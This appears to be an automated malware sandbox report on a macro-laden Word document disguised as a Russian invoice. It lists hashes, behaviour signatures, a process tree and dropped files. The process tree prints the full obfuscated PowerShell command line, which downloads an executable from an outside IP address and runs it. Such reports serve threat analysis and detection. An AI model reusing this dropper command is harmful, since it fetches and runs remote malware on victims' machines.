Resubmissions

23-05-2024 18:22

240523-wzxb1abf94 10

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    23-05-2024 18:22

General

  • Target

    Накладная.rtf.docm

  • Size

    518KB

  • MD5

    1f2d795ca29afadf24325cfbb3f60e4e

  • SHA1

    d5e05bf7300a09b6706082907e726b0d5a09e550

  • SHA256

    616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0

  • SHA512

    40ff395e3e62e9c0b47d9ec088129042b26ceeee28c76c23615086c33fcbc57250a8c4ea53464dfd5398a5e023743dca988d7c86ec1f6039a873d8b3352393b7

  • SSDEEP

    6144:sEc+F+HLHNIvPl8qZDC9VT8L38S8WyI6OLxoq5seCsH8BB3y8dqtUO2TsyUrOSo:sEcJHNopZW9eLH8WyITLfyXXvqxj9o

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://94.232.249.161/download/svc.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Delays execution with timeout.exe 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Накладная.rtf.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\SysWOW64\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2824
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2992
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA5ADQALgAyADMAMgAuADIANAA5AC4AMQA2ADEALwBkAG8AdwBuAGwAbwBhAGQALwBzAHYAYwAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAC4AZQB4AGUAIgA7ACAAJABXAGUAYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABVAHIAbAAsACAAJABQAHQAaAApADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAFAAdABoADsA
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2004
          • C:\Users\Admin\AppData\Local\Temp\svc.exe
            "C:\Users\Admin\AppData\Local\Temp\svc.exe"
            5⤵
            • Executes dropped EXE
            PID:1204
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2664

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\svc.exe
      Filesize

      180KB

      MD5

      92c57dd80b764a028749520017d44e76

      SHA1

      f732220adaacf23de6cc69d964341766d2e350d9

      SHA256

      dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda

      SHA512

      dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      0d9b10f7820ee6e1659f8a5286e541cf

      SHA1

      3c0edba0ab322e16fda0d2f2d22a371c06cb5888

      SHA256

      0fd6eb51b691c0f9ee9426981f8795bc76fff2067fb2902970bcec9f2e066882

      SHA512

      e8bf6b32f542088592f7f57efb7f6dd57c286966b640275f1ca467a03038edee6648f29be7cf8a8a91a2edcdd908c33b5459f85909eb2f8770eed0ad78c92a05

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      Filesize

      7KB

      MD5

      ec4fb1ec759ec0fceb4ab5750c33b6dc

      SHA1

      fe8711cb06b9cf9c3086021a19a931125590dd5a

      SHA256

      1b2b089311d3eb7112c273e0df3b37d3898adff2b6d9307ee5fb5a0141d4cc5b

      SHA512

      991c91968c98387790f09a28e351cd122e514a9bc2025f88b5d9e8024c9c3da0c83bbf6f8daac1790b941f8ef6b0441fdaa8ec403ed2ffb9d85f4be17d5164c5

    • memory/1204-34-0x0000000000400000-0x0000000002349000-memory.dmp
      Filesize

      31.3MB

    • memory/2024-5-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/2024-7-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/2024-6-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/2024-0-0x000000002F5F1000-0x000000002F5F2000-memory.dmp
      Filesize

      4KB

    • memory/2024-2-0x00000000712DD000-0x00000000712E8000-memory.dmp
      Filesize

      44KB

    • memory/2024-35-0x00000000712DD000-0x00000000712E8000-memory.dmp
      Filesize

      44KB

    • memory/2024-36-0x00000000051F0000-0x00000000052F0000-memory.dmp
      Filesize

      1024KB

    • memory/2024-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2024-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB